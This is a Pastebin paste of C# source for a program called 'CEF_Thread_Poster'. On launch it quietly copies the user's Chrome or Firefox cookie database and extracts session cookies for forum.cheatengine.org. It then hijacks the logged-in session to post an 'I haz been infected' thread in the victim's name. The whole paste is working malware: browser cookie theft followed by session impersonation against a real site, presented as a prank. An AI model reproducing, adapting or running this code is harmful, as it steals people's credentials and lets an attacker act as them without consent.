Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Windows.Forms;
- using System.IO;
- using System.Net;
- using System.Data.SQLite;
- using System.Text;
- using System.Text.RegularExpressions;
- namespace CEF_Thread_Poster
- {
- /// <summary>
- /// This was coded by Fafaffy
- /// This was made for nothing but entertainment purposes
- /// </summary>
- static class Program
- {
- /// <summary>
- /// The main entry point for the application.
- /// </summary>
- // [STAThread]
- static bool canProceed = false;
- //^ Used to see if cookies were captured, and can proceed as planned
- static CookieContainer cooks = new CookieContainer();
- static string boundary;
- static string sid;
- static Dictionary<String, String> Vars = new Dictionary<string, string>();
- static void Main()
- {
- string chrome = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
- string firefox = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
- if(Directory.Exists(firefox))
- {
- try{
- firefox = Directory.GetDirectories(firefox)[0] + @"\cookies.sqlite";
- }catch(Exception ex){
- }
- }
- //^ Gets the directory of the Firefox Cookies if it exists
- File.WriteAllBytes(Application.StartupPath + @"\SQLite.Interop.dll", Properties.Resources.SQLite_Interop);
- if (File.Exists(chrome))
- {
- copy(true, chrome);
- //Attempts to copy the cookies from chrome
- }
- if (File.Exists(firefox) && !canProceed)
- {
- copy(false, firefox);
- //If for some reason chrome fails, it uses firefox
- }
- File.Delete(Application.StartupPath + @"\temp.temp");
- if (canProceed)
- {
- Vars.Add("addbbcodefontcolor", "#444444");
- Vars.Add("subject", "I haz been infected");
- Vars.Add("addbbcodefontsize", "0");
- Vars.Add("helpbox", "Code display: [code]code[/code] (alt+c)");
- Vars.Add("message", "I shouldn't be running unknown files >.>");
- Vars.Add("attach_sig", "on");
- Vars.Add("notify", "on");
- Vars.Add("add_attachment_body", "0");
- Vars.Add("posted_attachments_body", "0");
- Vars.Add("filecomment", "");
- Vars.Add("poll_title", "");
- Vars.Add("add_poll_option_text", "");
- Vars.Add("poll_length", "");
- Vars.Add("mode", "newtopic");
- Vars.Add("sid", sid);
- Vars.Add("f", "16");
- Vars.Add("post", "Submit");
- Post("http://forum.cheatengine.org/posting.php", "POST_DATA=" + AddFormData(), true);
- }
- }
- static void copy(bool chrome, string path)
- {
- try
- {
- File.Copy(path, Application.StartupPath + @"\temp.temp", true);
- canProceed = grabcookies(chrome);
- }
- catch (Exception ex)
- {
- }
- }
- static public bool grabcookies(bool chrome)
- {
- SQLiteConnection sqlite_connection = new SQLiteConnection("Data Source=temp.temp;");
- sqlite_connection.Open();
- SQLiteCommand sqlite_command = sqlite_connection.CreateCommand();
- if(chrome)
- sqlite_command.CommandText = "select * from cookies where host_key LIKE '%cheatengine.org'";
- else
- sqlite_command.CommandText = "select * from moz_cookies where host LIKE '%cheatengine.org'";
- SQLiteDataReader reader = sqlite_command.ExecuteReader();
- while (reader.Read())
- {
- Cookie cok = new Cookie();
- cok.Domain = "forum.cheatengine.org";
- cok.Name = reader.GetString(2);
- cok.Value = reader.GetString(3);
- cok.Expires = new DateTime(2020, 1, 1);
- cooks.Add(cok);
- }
- reader.Close();
- sqlite_connection.Close();
- return Post("http://forum.cheatengine.org/viewforum.php?f=16").Contains("Log out");
- }
- static public string Post(string url, string data = "", Boolean MultiPart = false)
- {
- string vystup = null;
- try
- {
- byte[] buffer = Encoding.ASCII.GetBytes(data);
- System.Net.ServicePointManager.Expect100Continue = false;
- HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create(url);
- WebReq.Method = "POST";
- System.Net.ServicePointManager.Expect100Continue = false;
- WebReq.Timeout = 10000;
- WebReq.ProtocolVersion = HttpVersion.Version10;
- WebReq.CookieContainer = cooks;
- if (MultiPart)
- {
- WebReq.ContentType = "multipart/form-data; boundary=" + boundary;
- }
- else
- {
- WebReq.ContentType = "application/x-www-form-urlencoded";
- }
- WebReq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6";
- WebReq.AllowAutoRedirect = true;
- WebReq.ContentLength = buffer.Length;
- Stream PostData = WebReq.GetRequestStream();
- PostData.Write(buffer, 0, buffer.Length);
- PostData.Close();
- HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
- Stream Answer = WebResp.GetResponseStream();
- StreamReader _Answer = new StreamReader(Answer);
- vystup = _Answer.ReadToEnd();
- foreach (Cookie co in WebResp.Cookies)
- {
- cooks.Add(co);
- }
- }
- catch (Exception ex)
- {
- }
- sid = Regex.Match(vystup.Trim(), @"sid=(?<val>\w*)""").Groups["val"].Value;
- return vystup.Trim() + "\n";
- }
- static public string AddFormData()
- {
- boundary = "---------------------------" + DateTime.Now.Ticks.ToString();
- string header = string.Format("--{0}", boundary);
- string footer = string.Format("--{0}--\r\n", boundary);
- StringBuilder contents = new StringBuilder();
- foreach (var pair in Vars)
- {
- contents.AppendLine(header);
- contents.AppendLine(String.Format("Content-Disposition: form-data; name=\"{0}\"", pair.Key));
- contents.AppendLine();
- contents.AppendLine(pair.Value);
- }
- contents.AppendLine(footer);
- return contents.ToString();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement